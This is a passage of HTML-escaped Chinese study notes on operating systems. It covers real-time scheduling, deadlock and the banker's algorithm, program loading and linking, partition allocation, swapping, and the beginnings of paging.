    &lt;ul&gt;
      &lt;li&gt;就绪时间&lt;/li&gt;
      &lt;li&gt;开始截止时间和完成截止时间&lt;/li&gt;
      &lt;li&gt;处理时间&lt;/li&gt;
      &lt;li&gt;资源要求&lt;/li&gt;
      &lt;li&gt;优先级&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;系统处理能力强&lt;/li&gt;
  &lt;li&gt;采用抢占式调度机制&lt;/li&gt;
  &lt;li&gt;具有快速切换机制&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;实时调度算法的分类&quot;&gt;实时调度算法的分类&lt;/h3&gt;
&lt;ol&gt;
  &lt;li&gt;非抢占式调度算法&lt;/li&gt;
  &lt;li&gt;抢占式调度算法
    &lt;ul&gt;
      &lt;li&gt;基于时钟中断的抢占式优先级调度算法&lt;/li&gt;
      &lt;li&gt;立即抢占的优先级调度算法&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;最早截止时间优先算法edf&quot;&gt;最早截止时间优先算法(EDF)&lt;/h3&gt;

&lt;p&gt;见书P100~101&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;根据开始截止时间来确定任务的优先级&lt;/li&gt;
  &lt;li&gt;截止时间早的排在就绪队列前面&lt;/li&gt;
  &lt;li&gt;总是选择就绪队列中的第一个任务&lt;/li&gt;
  &lt;li&gt;可用于抢占式调度和非抢占式调度&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;最低松弛度优先算法llf&quot;&gt;最低松弛度优先算法(LLF)&lt;/h3&gt;

&lt;p&gt;见书P101~102&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;根据任务紧急（或松弛）的程度来确定优先级&lt;/li&gt;
  &lt;li&gt;紧急程度愈高（松弛程度愈低）优先级愈高，愈先执行&lt;/li&gt;
  &lt;li&gt;主要用于抢占式调度&lt;/li&gt;
  &lt;li&gt;==松弛度=必须完成时间-其本身的运行时间-当前时间==&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;一任务在400 ms时必须完成，它本身需要运行 150 ms，则其松弛程度为 250 ms。&lt;/p&gt;

&lt;h3 id=&quot;优先级倒置&quot;&gt;优先级倒置&lt;/h3&gt;

&lt;p&gt;原因: 进程之间有无资源争抢&lt;/p&gt;

&lt;p&gt;解决方法:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;处理机不允许被抢占&lt;/li&gt;
  &lt;li&gt;动态优先级继承&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;死锁&quot;&gt;死锁&lt;/h2&gt;
&lt;h3 id=&quot;资源问题&quot;&gt;资源问题&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;可重用性资源：IO设备、打印机等&lt;/li&gt;
  &lt;li&gt;可消耗性资源（临时资源）：进程间通信的消息等&lt;/li&gt;
  &lt;li&gt;可抢占性资源（可剥夺资源）：CPU、内存&lt;/li&gt;
  &lt;li&gt;不可抢占性资源（非可剥夺资源）：磁带机、打印机&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;定义&quot;&gt;定义&lt;/h3&gt;

&lt;p&gt;如果一组进程中的每一个进程都在等待仅由该组进程中的其他进程才能引发的事件，那么该组进程是死锁的&lt;/p&gt;

&lt;h3 id=&quot;原因&quot;&gt;原因&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;==竞争不可抢占性资源引起进程死锁==&lt;/li&gt;
  &lt;li&gt;==竞争可消耗资源引起进程死锁==&lt;/li&gt;
  &lt;li&gt;进程推进顺序不当&lt;/li&gt;
  &lt;li&gt;PV操作使用不当&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;产生死锁的必要条件&quot;&gt;产生死锁的必要条件&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;互斥条件：进程互斥使用资源&lt;/li&gt;
  &lt;li&gt;请求和保持条件：申请新资源时不释放已占有资源&lt;/li&gt;
  &lt;li&gt;不剥夺条件：一个进程不能抢夺其他进程占有的资源&lt;/li&gt;
  &lt;li&gt;环路等待条件：存在一组进程循环等待资源的环形链&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;处理死锁的基本方法&quot;&gt;处理死锁的基本方法&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;预防死锁：通过设置某些限制条件来破坏产生死锁的四个必要条件中的一个或几个，来预防发生死锁&lt;/li&gt;
  &lt;li&gt;避免死锁：在动态分配资源的过程中，用某种方法防止系统进入不安全状态，从而避免发生死锁&lt;/li&gt;
  &lt;li&gt;检测死锁：通过设置检测机制，及时检测出死锁的发生，确定有关的进程和资源&lt;/li&gt;
  &lt;li&gt;解除死锁：与检测死锁配套使用，常用的方法是撤销或挂起一些进程，收回资源，分配给处于阻塞状态的进程，使之转为就绪状态，可以继续运行&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;预防死锁&quot;&gt;预防死锁&lt;/h3&gt;

&lt;h4 id=&quot;破坏请求和保持条件&quot;&gt;破坏“请求和保持”条件&lt;/h4&gt;
&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;第一种协议：资源静态分配法&lt;/p&gt;

    &lt;p&gt;一个进程必须在执行前就申请它所要的全部资源，并且直到它所要的资源都得到满足后才开始执行&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;第二种协议：资源静态分配法&lt;/p&gt;

    &lt;p&gt;允许进程只获得运行初期所需的资源，便开始运行。这些资源使用完毕并全部释放，再申请新的所需资源。&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h4 id=&quot;破坏不可抢占条件&quot;&gt;破坏“不可抢占”条件&lt;/h4&gt;

&lt;p&gt;采用剥夺控制&lt;/p&gt;

&lt;p&gt;当进程在申请资源未获准许时,先主动释放已占有的资源,然后才去等待，以后再一起向系统提出申请&lt;/p&gt;

&lt;p&gt;一般只适用于可剥夺性资源，如CPU、存储区&lt;/p&gt;

&lt;h4 id=&quot;破坏循环等待条件&quot;&gt;破坏“循环等待”条件&lt;/h4&gt;

&lt;p&gt;资源顺序分配法&lt;/p&gt;

&lt;p&gt;对系统的全部资源编号，并规定进程申请资源时只能按升序进行&lt;/p&gt;

&lt;h2 id=&quot;避免死锁&quot;&gt;避免死锁&lt;/h2&gt;
&lt;h3 id=&quot;系统安全状态&quot;&gt;系统安全状态&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;安全状态是指系统能按某种顺序为每个进程分配其所需的资源，使每个进程执行完毕&lt;/li&gt;
  &lt;li&gt;安全序列：进程安全执行完的顺序。&lt;/li&gt;
  &lt;li&gt;如果系统无法找到这样一个安全序列，则称系统处于不安全状态。&lt;/li&gt;
  &lt;li&gt;避免死锁的本质在于：当进行资源分配时，如何避免进入不安全状态&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;银行家算法&quot;&gt;银行家算法&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;（1）如果&lt;code class=&quot;highlighter-rouge&quot;&gt;Requesti[j]≤Need[i,j]&lt;/code&gt;，便转向步骤2；否则认为出错。&lt;/li&gt;
  &lt;li&gt;（2）如果&lt;code class=&quot;highlighter-rouge&quot;&gt;Requesti[j]≤Available[j]&lt;/code&gt;，便转向步骤(3)；否则， 表示尚无足够资源，Pi须等待。&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;（3）系统试探着把资源分配给进程Pi，并执行：&lt;/p&gt;

    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; Available[j]=Available[j]-Requesti[j];
   
 Allocation[i,j]=Allocation[i,j]+Requesti[j];
   
Need[i,j]=Need[i,j]-Requesti[j]; -（4）系统执行安全性算法，检查此次资源分配后，系统是否处于安全状态。若安全，才正式将资源分配给进程Pi，以完成本次分配；否则， 将本次的试探分配作废，恢复原来的资源分配状态，让进程Pi等待。
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;优点：
               资源利用率比静态资源分配法高，又避免死锁。&lt;/p&gt;

&lt;p&gt;缺点：
               对资源分配过于保守；计算太多，并且需知道对资源的最大需求量，不太实际&lt;/p&gt;

&lt;h3 id=&quot;安全性算法&quot;&gt;安全性算法&lt;/h3&gt;
&lt;p&gt;(1)  设置工作向量Work和布尔型向量Finish ，并初始化: Work=Available; Finish[i]=false;&lt;/p&gt;

&lt;p&gt;(2)寻找能满足下述条件的进程：①Finish[i]=false;② Need[i,j]≤Work[j];若找到，执行 (3)，否则，执行 (4)。&lt;/p&gt;

&lt;p&gt;(3)  执行：
 Work[j]=Work[i]+Allocation[i,j];
  Finish[i]=true;
  go to step 2;&lt;/p&gt;

&lt;p&gt;(4)  如果所有进程的Finish［i］=true都满足， 则表示系统处于安全状态；否则，系统处于不安全状态。&lt;/p&gt;

&lt;h3 id=&quot;死锁定理&quot;&gt;死锁定理&lt;/h3&gt;

&lt;p&gt;系统为死锁状态的充分条件是：当且仅当该状态的资源分配图是不可完全简化的。该充分条件称为死锁定理。&lt;/p&gt;

&lt;h3 id=&quot;死锁的解除&quot;&gt;死锁的解除&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;剥夺资源&lt;/li&gt;
  &lt;li&gt;终止(或撤销)进程&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;第四章-存储器管理&quot;&gt;第四章 存储器管理&lt;/h1&gt;

&lt;blockquote&gt;
  &lt;p&gt;管理对象: ==内存==&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;存储器的多层结构&quot;&gt;存储器的多层结构&lt;/h2&gt;

&lt;p&gt;寄存器、高速缓存、主存储器、磁盘缓存 属于操作系统存储管理的管辖范畴&lt;/p&gt;

&lt;p&gt;以上，掉电后存储信息丢失&lt;/p&gt;

&lt;p&gt;固定磁盘、可移动存储介质 属于设备管理的管辖范畴&lt;/p&gt;

&lt;p&gt;存储信息长期保存&lt;/p&gt;

&lt;p&gt;可执行存储器: 寄存器、主存储器&lt;/p&gt;

&lt;p&gt;寄存器: 存放处理机运行时的数据，以加速存储器的访问速度&lt;/p&gt;

&lt;p&gt;高速缓存: 用于备份主存中较常用的数据，以减少处理机对主存储器的访问次数&lt;/p&gt;

&lt;p&gt;主存储器(内存,主存): 用于保存进程运行时的程序和数据&lt;/p&gt;

&lt;p&gt;磁盘缓存: 用于暂时存放频繁使用的一部分磁盘数据和信息&lt;/p&gt;

&lt;h2 id=&quot;一些基本概念&quot;&gt;一些基本概念&lt;/h2&gt;

&lt;h3 id=&quot;逻辑地址相对地址虚地址&quot;&gt;逻辑地址(相对地址，虚地址)&lt;/h3&gt;

&lt;p&gt;用户的程序经过汇编或编译后形成目标代码，目标代码通常采用相对地址的形式，其首地址为0，其余指令中的地址都相对于首地址而编址。不能用逻辑地址在内存中读取信息。&lt;/p&gt;

&lt;h3 id=&quot;物理地址绝对地址实地址&quot;&gt;物理地址(绝对地址，实地址)&lt;/h3&gt;

&lt;p&gt;内存中存储单元的地址，可直接寻址&lt;/p&gt;

&lt;h3 id=&quot;地址空间&quot;&gt;地址空间&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;程序用来访问信息所用地址单元的集合&lt;/li&gt;
  &lt;li&gt;逻辑（相对）地址的集合&lt;/li&gt;
  &lt;li&gt;由编译程序生成&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;存储空间&quot;&gt;存储空间&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;主存中物理单元的集合&lt;/li&gt;
  &lt;li&gt;物理（绝对）地址的集合&lt;/li&gt;
  &lt;li&gt;由装配程序等生成&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;定位存储分配&quot;&gt;定位(存储分配)&lt;/h3&gt;

&lt;p&gt;为具体的程序和数据等分配存储单元或存储区工作。&lt;/p&gt;

&lt;h3 id=&quot;映射&quot;&gt;映射&lt;/h3&gt;

&lt;p&gt;把逻辑地址转换为相应的物理地址的过程。&lt;/p&gt;

&lt;h2 id=&quot;程序的装入&quot;&gt;程序的装入&lt;/h2&gt;
&lt;h3 id=&quot;对用户程序的处理步骤&quot;&gt;对用户程序的处理步骤&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;https://ws1.sinaimg.cn/large/006tNbRwgy1fy3plfwiryj30zk0gamxq.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;编译，由编译程序对用户源程序进行编译，形成若干个目标模块&lt;/li&gt;
  &lt;li&gt;链接，由链接程序将编译后形成的一组目标模块以及它们所需要的库函数链接在一起，形成一个完整的装入模块&lt;/li&gt;
  &lt;li&gt;装入，由装入程序将装入模块装入内存&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;绝对装入方式&quot;&gt;绝对装入方式&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;编译程序产生绝对地址的目标代码，即代码的逻辑地址和物理地址相同&lt;/li&gt;
  &lt;li&gt;装入程序按照装入模块中的地址，将程序和数据装入内存，不进行地址的修改&lt;/li&gt;
  &lt;li&gt;只适用于单道程序环境&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;可重定位装入方式&quot;&gt;可重定位装入方式&lt;/h3&gt;

&lt;p&gt;目标模块的起始地址从0开始，程序中其他地址相对于起始地址计算，装入程序根据内存的当前情况，将装入模块装入内存的适当位置&lt;/p&gt;

&lt;p&gt;==重定位==：在装入时对目标程序中指令和数据地址的修改过程。或者说：把作业地址空间中使用的逻辑地址变换成内存空间中的物理地址的过程。又称地址映射。&lt;/p&gt;

&lt;p&gt;地址变换在装入时一次完成，以后不再改变，==故称为静态重定位==&lt;/p&gt;

&lt;p&gt;==优点==：无需增加硬件地址变换机构；实现简单；适用于多道程序环境&lt;/p&gt;

&lt;p&gt;==缺点==：不允许程序运行时在内存中移动位置；程序在存储空间中只能连续分配；多个用户难以共享存于内存中的同一程序。&lt;/p&gt;

&lt;h3 id=&quot;动态运行时的装入方式&quot;&gt;动态运行时的装入方式&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;装入程序把装入模块装入内存后，不立即把装入模块中的相对地址转换为绝对地址，\
而是把这种地址转换推迟到程序真正要执行时才进行。&lt;/li&gt;
  &lt;li&gt;装入内存后的所有地址都仍是相对地址。&lt;/li&gt;
  &lt;li&gt;允许程序在内存中移动；&lt;/li&gt;
  &lt;li&gt;需要重定位寄存器的支持&lt;/li&gt;
  &lt;li&gt;优点：可对内存进行非连续分配；提供了实现虚存的基础；有利于程序段的共享&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;程序的链接&quot;&gt;程序的链接&lt;/h2&gt;

&lt;h3 id=&quot;静态链接方式&quot;&gt;静态链接方式&lt;/h3&gt;

&lt;p&gt;在程序运行之前，先将各目标模块以及所需的库函数，链接成一个完整的装配模块，==以后不拆开==。&lt;/p&gt;

&lt;p&gt;在将这几个目标模块装配成一个装入模块时，须解决以下两个问题：&lt;/p&gt;

&lt;p&gt;(1) 对相对地址进行修改。    (2) 变换外部调用符号&lt;/p&gt;

&lt;h3 id=&quot;装入时动态链接&quot;&gt;装入时动态链接&lt;/h3&gt;

&lt;p&gt;将用户源程序编译后所得到的一组目标模块，在装入内存时，采用==边装入边链接==的链接方式&lt;/p&gt;

&lt;p&gt;==优点==：便于修改和更新；便于实现对目标模块的共享。&lt;/p&gt;

&lt;p&gt;==缺点==：程序每次要运行的模块可能不相同，但无法知道本次要运行哪些模块，故只能将所有可能要运行的模块都全部装入内存并链接。&lt;/p&gt;

&lt;h3 id=&quot;运行时动态链接&quot;&gt;运行时动态链接&lt;/h3&gt;

&lt;p&gt;对某些目标模块的链接，在程序执行中需要该模块时，才对它进行的链接。&lt;/p&gt;

&lt;p&gt;==优点==：凡在执行过程中未被用到的目标模块，都不会被调入内存和被链接到装入模块上，这样不仅可加快程序的装入过程，而且可节省大量的内存空间。&lt;/p&gt;

&lt;h2 id=&quot;连续分配存储管理方式&quot;&gt;连续分配存储管理方式&lt;/h2&gt;
&lt;blockquote&gt;
  &lt;p&gt;该方式为一个用户程序分配一个连续的内存空间，即程序中代码或数据的逻辑地址相邻，体现在内存空间分配时物理地址的相邻&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;单一连续分配&quot;&gt;单一连续分配&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;最简单的一种存储管理方式，但只能用于单用户、单任务的操作系统中。&lt;/li&gt;
  &lt;li&gt;内存分为系统区和用户区两部分，系统区仅提供给OS使用，通常是放在内存的低址部分；\
用户区是指除系统区以外的全部内存空间， 提供给用户使用。&lt;/li&gt;
  &lt;li&gt;优点：管理简单，不要求专用的硬件支持；为防止破坏OS ，设置界限寄存器；易于实现。&lt;/li&gt;
  &lt;li&gt;缺点：存储器利用率低；信息不共享；CPU 利用率低，周转时间长&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;固定分区分配&quot;&gt;固定分区分配&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;运行多道程序的存储管理方式。&lt;/li&gt;
  &lt;li&gt;内存用户被划分为若干个固定大小的区域，每个分区中只装入一道作业。&lt;/li&gt;
  &lt;li&gt;内存利用率低。&lt;/li&gt;
  &lt;li&gt;允许几道作业并发。&lt;/li&gt;
  &lt;li&gt;==划分分区的方法==：
 分区大小相等；分区大小不等。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;内存分配:&lt;/p&gt;

&lt;p&gt;==分区使用表==：各表项包括每个分区的起始地址，大小和状态。&lt;/p&gt;

&lt;p&gt;用户程序需要装入时，内存分配程序检索该表，找出一个能满足要求尚未分配的分区，分配给该程序，并将其表项中的状态置为“已分配”。&lt;/p&gt;

&lt;p&gt;若未找到大小足够的分区，则拒绝为用户程序分配内存。&lt;/p&gt;

&lt;h3 id=&quot;动态分区分配&quot;&gt;动态分区分配&lt;/h3&gt;

&lt;p&gt;按作业的实际大小来划分分区，且分区个数也是随机的,实现多个作业对内存的共享，进一步提高内存资源利用率&lt;/p&gt;

&lt;h4 id=&quot;动态分区分配中的数据结构&quot;&gt;动态分区分配中的数据结构&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;空闲分区表，一个空闲分区占一个表目，表目包括：分区序号、分区始址、分区大小&lt;/li&gt;
  &lt;li&gt;空闲分区链。&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;动态分区分配操作&quot;&gt;动态分区分配操作&lt;/h4&gt;

&lt;h5 id=&quot;分配内存&quot;&gt;分配内存&lt;/h5&gt;

&lt;p&gt;&lt;img src=&quot;https://ws1.sinaimg.cn/large/006tNbRwgy1fy3x1xslmij31gc0bk7cn.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h5 id=&quot;回收内存&quot;&gt;回收内存&lt;/h5&gt;

&lt;p&gt;&lt;img src=&quot;https://ws2.sinaimg.cn/large/006tNbRwgy1fy3xnq6jhej31820o4ncs.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;基于顺序搜索的动态分区分配算法&quot;&gt;基于顺序搜索的动态分区分配算法&lt;/h4&gt;
&lt;blockquote&gt;
  &lt;p&gt;顺序搜索是指依次搜索空闲分区链上的空闲分区，去寻找一个其大小能满足要求的分区&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h5 id=&quot;首次适应算法&quot;&gt;首次适应算法&lt;/h5&gt;

&lt;p&gt;把主存中所有空闲区按其==物理地址递增==的次序排列。&lt;/p&gt;

&lt;p&gt;在为作业分配存储空间时，从低址空闲区开始查找,直到找到第一个能满足要求的空闲区后，从中划出与请求的大小相等的存储空间分配给作业，余下的空闲区仍留在空闲链中；&lt;/p&gt;

&lt;p&gt;优先利用内存中低址部分的空闲分区，保留了高址部分的大空闲区；==低址部分不断被分割，形成很多难以利用的碎片。==&lt;/p&gt;

&lt;h5 id=&quot;循环首次适应算法&quot;&gt;循环首次适应算法&lt;/h5&gt;

&lt;p&gt;该算法是首次适应算法的变形，在为作业分配存储空间时，是==从上次所分配的空闲区的下一个空闲区开始查找，直到找到第一个能满足要求的空闲区==，从中划出一块与请求的大小相等的一块存储区分配给作业。若到最后一个空闲区的大小仍不能满足要求时，应再从第一个空闲区开始查找；&lt;/p&gt;

&lt;p&gt;需设置查询指针；&lt;/p&gt;

&lt;p&gt;使空闲分区分布均匀，但是缺乏大的空闲区；&lt;/p&gt;

&lt;h5 id=&quot;最佳适应算法&quot;&gt;最佳适应算法&lt;/h5&gt;

&lt;p&gt;“最佳”的含义是指每次为作业分配主存时，总是把既能满足要求，又是最小的空闲区分配给作业，以免由于“大材小用”而浪费主存。为了加速查找，==该算法要求将所有的空闲区按其大小递增次序排列==；&lt;/p&gt;

&lt;p&gt;第一个找到能满足要求的空闲区一定使最佳的；每次分割的剩余部分都是最小的，因此在存储器中会留下很多难以利用的小碎片&lt;/p&gt;

&lt;h5 id=&quot;最坏适应算法&quot;&gt;最坏适应算法&lt;/h5&gt;

&lt;p&gt;在扫描整个空闲分区表或链表时，总是挑选一个最大的空闲区，从中分割一部分存储空间给作业使用，以至于存储器缺乏大的空闲分区&lt;/p&gt;

&lt;p&gt;优点: 使剩下的空闲区不至于太小，产生碎片的可能性最小，对中、小作业有利；查找效率最高&lt;/p&gt;

&lt;h4 id=&quot;基于索引搜索的动态分区分配算法&quot;&gt;基于索引搜索的动态分区分配算法&lt;/h4&gt;

&lt;p&gt;==快速适应算法、伙伴系统、哈希算法==&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ws4.sinaimg.cn/large/006tNbRwgy1fy3y9o2vomj316j0u0hbk.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;动态可重定位分区分配&quot;&gt;动态可重定位分区分配&lt;/h4&gt;
&lt;h5 id=&quot;紧凑&quot;&gt;==紧凑==&lt;/h5&gt;

&lt;p&gt;==通过移动内存中作业的位置，把原来多个分散的小分区拼接成一个大分区==&lt;/p&gt;

&lt;h5 id=&quot;动态重定位的实现&quot;&gt;动态重定位的实现&lt;/h5&gt;

&lt;ul&gt;
  &lt;li&gt;每次“紧凑”后必须对移动了的程序或数据进行重定位&lt;/li&gt;
  &lt;li&gt;地址变换过程是在程序执行期间，随着对每条指令或数据的访问自动进行的，称为动态重定位。&lt;/li&gt;
  &lt;li&gt;硬件地址变换机构的支持——重定位寄存器&lt;/li&gt;
  &lt;li&gt;内存地址＝相对地址＋重定位寄存器中的地址&lt;/li&gt;
  &lt;li&gt;移动程序时只需修改重定位寄存器中的地址&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;对换&quot;&gt;对换&lt;/h2&gt;
&lt;h3 id=&quot;定义-1&quot;&gt;定义&lt;/h3&gt;

&lt;p&gt;把内存中暂时不能运行的进程或者暂时不用的程序和数据换出到外存上，以便腾出足够的内存空间，再把已具备运行条件的进程或进程所需要的程序和数据换入内存&lt;/p&gt;

&lt;p&gt;对换是改善内存利用率的有效措施，它可以直接提高处理机的利用率和系统的吞吐量&lt;/p&gt;

&lt;h3 id=&quot;对换分类&quot;&gt;对换分类&lt;/h3&gt;

&lt;p&gt;整体对换: 进程对换\
部分对换: 页面对换、分段对换&lt;/p&gt;

&lt;h3 id=&quot;进程对换os必须实现三方面的功能&quot;&gt;进程对换,OS必须实现三方面的功能&lt;/h3&gt;
&lt;h4 id=&quot;对换空间的管理&quot;&gt;对换空间的管理&lt;/h4&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;对换空间管理的主要目标&lt;/p&gt;

    &lt;p&gt;在具有对换功能的OS中，通常把磁盘空间分为文件区和对换区&lt;/p&gt;

    &lt;p&gt;1) 对文件区管理的主要目标&lt;/p&gt;

    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; 提高文件存储空间的利用率，提高对文件的访问速度
        
 采取==离散分配==方式
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;

    &lt;p&gt;2) 对对换空间管理的主要目标&lt;/p&gt;

    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; 提高进程换入和换出的速度，然后才是提高文件存储空间的利用率
    
 采取==连续分配==方式
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h4 id=&quot;进程的换出与换入&quot;&gt;进程的换出与换入&lt;/h4&gt;
&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;换出过程&lt;/p&gt;

    &lt;p&gt;选择处于阻塞状态且优先级最低的进程作为换出进程，\
 换出后收回内存空间，修改进程的PCB相关信息&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;换入过程&lt;/p&gt;

    &lt;p&gt;找出“就绪”状态并已经换出的进程，将其中换出时间最久的进程作为换入进程，将其换入&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;直到已无可换入的进程和无可换出的进程&lt;/p&gt;

&lt;h2 id=&quot;离散分配&quot;&gt;离散分配&lt;/h2&gt;

&lt;h3 id=&quot;连续分配方式的缺点&quot;&gt;连续分配方式的缺点&lt;/h3&gt;

&lt;p&gt;形成许多“碎片”；“紧凑”开销大。&lt;/p&gt;

&lt;h3 id=&quot;离散分配的种类&quot;&gt;离散分配的种类&lt;/h3&gt;
&lt;blockquote&gt;
  &lt;p&gt;根据在离散分配时所分配地址空间的基本单位的不同&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ol&gt;
  &lt;li&gt;分页存储管理方式&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;在该方式中，将用户程序的地址空间分为若干个固定大小的区域，称为“==页==”或者“==页面==”。大小为1KB。相应地，也将内存空间分为若干个物理块或页框，==页和块的大小相同==。这样可将用户程序的任一页放入任一物理块中，实现了==离散分配==&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;分段存储管理方式&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;该方式把用户程序的地址空间分为若干个大小不同的段，每段可定义一组相对完整的信息。&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;段页式存储管理方式&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;分页存储管理方式&quot;&gt;分页存储管理方式&lt;/h2&gt;

&lt;h3 id=&quot;页页面&quot;&gt;页(页面)&lt;/h3&gt;

&lt;p&gt;把每个作业(进程)==逻辑地址空间==划分成若干大小相等的片.第0页、第1页&lt;/p&gt;

&lt;h3 id=&quot;物理块或页框frame&quot;&gt;(物理)块或页框(frame)&lt;/h3&gt;

&lt;p&gt;把==内存空间==分成与页面相同大小的若干个存储块。 0＃块、1＃块&lt;/p&gt;

&lt;h3 id=&quot;页内碎片&quot;&gt;页内碎片&lt;/h3&gt;

&lt;p&gt;由于进程的最后一页经常装不满一块而形成了不可利用的碎片。&lt;/p&gt;

&lt;h3 id=&quot;页面大小&quot;&gt;页面大小&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;太小，可使内存碎片减小，有利于提高内存利用率；会使每个进程占用较多的页面，从而导致进程的页表过长，占用大量内存； 此外，还会降低页面换进换出的效率。&lt;/li&gt;
  &lt;li&gt;较大，可以减少页表的长度，提高页面换进换出的速度，但却又会使页内碎片增大。&lt;/li&gt;
  &lt;li&gt;页面的大小应选择得适中，且页面大小应是2的幂，通常为1 KB~8 KB。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;地址结构页号页内地址&quot;&gt;地址结构(页号、页内地址)&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;https://ws4.sinaimg.cn/large/006tNbRwgy1fy41l5uvkrj319a0nik5f.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;页表页面映象表&quot;&gt;页表(页面映象表)&lt;/h3&gt;

&lt;p&gt;==页表的作用是实现从页号到物理块号的地址映射==&lt;/p&gt;

&lt;p&gt;由页号和块号组成，指出逻辑地址中页号与主存中物理块号的对应关系&lt;/p&gt;

&lt;p&gt;==页号==—作业地址空间的页序号&lt;/p&gt;

&lt;p&gt;==块号==—内存空间的页面序号&lt;/p&gt;

&lt;h3 id=&quot;地址转换机构&quot;&gt;地址转换机构&lt;/h3&gt;
&lt;h4 id=&quot;基本任务&quot;&gt;基本任务&lt;/h4&gt;

&lt;p&gt;借助于页表,实现从逻辑地址到物理地址的转换,实际上就是将逻辑地址中的页号转换为内存中的物理块号&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ws4.sinaimg.cn/large/006tNbRwgy1fy45nsdm19j30u00xzqbq.jpg&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://ws3.sinaimg.cn/large/006tNbRwgy1fy45o19a7ij30u011ggre.jpg&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://ws3.sinaimg.cn/large/006tNbRwgy1fy45oiccqwj30u017daiq.jpg&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://ws1.sinaimg.cn/large/006tNbRwgy1fy45ok2z86j30u014pgtz.jpg&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://ws2.sinaimg.cn/large/006tNbRwgy1fy45oyal75j30u013gjz9.jpg&quot; alt=&quot;&quot; /&gt;
